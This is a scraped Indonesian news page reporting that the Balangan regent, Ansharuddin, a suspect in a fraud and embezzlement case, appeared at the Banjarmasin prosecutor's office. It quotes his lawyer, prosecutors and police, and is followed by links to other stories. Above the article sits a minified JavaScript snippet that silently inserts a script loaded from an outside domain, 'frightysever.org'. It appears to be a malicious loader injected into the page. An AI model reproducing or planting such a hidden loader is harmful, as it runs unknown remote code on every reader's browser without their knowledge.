(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Bupati Balangan Ansharuddin, yang tersangkut kasus dugaan penipuan, menyambangi Kejaksaan Negeri (Kejari) Banjarmasin, Kamis (24/10) pagi, dengan didampingi tim kuasa hukum.
Dari pantauan Kanalkalimantan, usai diperiksa di Kejari Banjarmasin, Bupati Ansharuddin langsung meninggalkan lokasi tanpa memberikan sedikit pun keterangan kepada awak media yang sudah lama menunggu. Informasi yang didapat, Ansharuddin langsung kembali ke Paringin pagi itu juga.
Menurut Kuasa Hukum Ansharuddin, Muhammad Fajri, berkas kliennya telah mencapai tahap 2, atau P21. Sehingga, dilimpahkan langsung ke Kejari Banjarmasin.
“Berkas lengkap dan dianggap tahap dua. Yang jelas kami sampaikan kepada klien kami, pak Ansharuddin, kita hadiri,” kata Fajri, Kamis (24/10) pagi.
Kendati pelimpahan berkas dapat ditunda, Fajri mengklaim, pihaknya bersama klien memutuskan untuk sesegera mungkin bergerak. Sehingga, dapat mempercepat proses persidangan. Agar, kasus yang menyangkut kliennya dapat diungkap di persidangan.
“Harapan kami, sidangnya digelar di Banjarmasin dan saat persidangan kita ungkap apa adanya. Yang jelas, kami kooperatif untuk dapat berhadir di persidangan,” tambah Fajri.
Menurut Fajri, sangat tidak masuk akal kliennya melakukan dugaan tindak pidana pada waktu yang hampir bersamaan sebanyak dua kali. “Karena fakta itu terang benderang, bahwa dalam satu kejadian yaitu 2 April 2018, pukul 11:00 Wita, ada dua kejadian yang sama. Sehingga, sangat tidak mendasar apa yang dilaporkan oleh pelapor untuk menjerat klien kami dalam hal pasal 378 dan pasal 372 terkait penipuan dan penggelapannya,” jelas Fajri.
Kendati telah menjadi tersangka, namun kasus yang melibatkannya ini tidak menghambat dirinya untuk memimpin Kabupaten Balangan. Lantas, mengapa? Fajri mengklaim, pihaknya bersama kliennya kooperatif sejak kasus ini mencuat. “Kami juga mengajukan pernyataan penjaminan kepada Ketua DPD Partai Golkar plus Ketua DPRD Provinsi Kalsel pak Supian HK selaku penjamin,” terangnya.
Sementara itu, Kepala Kajari Banjarmasin Taufik Satria mengatakan, berkas kasus Bupati Ansharuddin dilimpahkan dari Kejati Kalsel ke Kejari Banjarmasin. Hal ini dikarenakan, tempat kejadian perkaranya berada di Kota Banjarmasin. “Karena lokasi TKP di Kota Banjarmasin tepatnya di Hotel Rattan Inn, maka akan disidangkan di Pengadilan Negeri Banjarmasin,” kata Taufik.
Bupati Ansharuddin, tambah Taufik, tidak ditahan karena masih aktif menjabat sebagai Bupati Balangan. “Kemudian penjaminnya Gubernur Kalsel dan Ketua DPRD Kalsel,” tambahnya.
Sidang sendiri, diperkirakan akan digelar pekan depan, jika berkas sudsh dilimpahkan ke Pengadilan Negeri Banjarmasin. “Baru pengadilan akan menetapkan waktu persidangan,” tegasnya.
Dikonfirmasi terpisah pada Kamis (24/10) siang, Kabid Humas Polda Kalsel Kombes M Rivai membenarkan, berkas kasus yang menyangkut Bupati Ansharuddin sudah lengkap atau P21.
“Sudah diserahkan tersangka dan barang bukti pagi tadi. Tersangka dan barang bukti sudah diserahkan ke Kejati karena dinyatakan telah P21,” kata Kombes Rivai. (fikri)
KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More
KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More
Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More
KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More
This website uses cookies.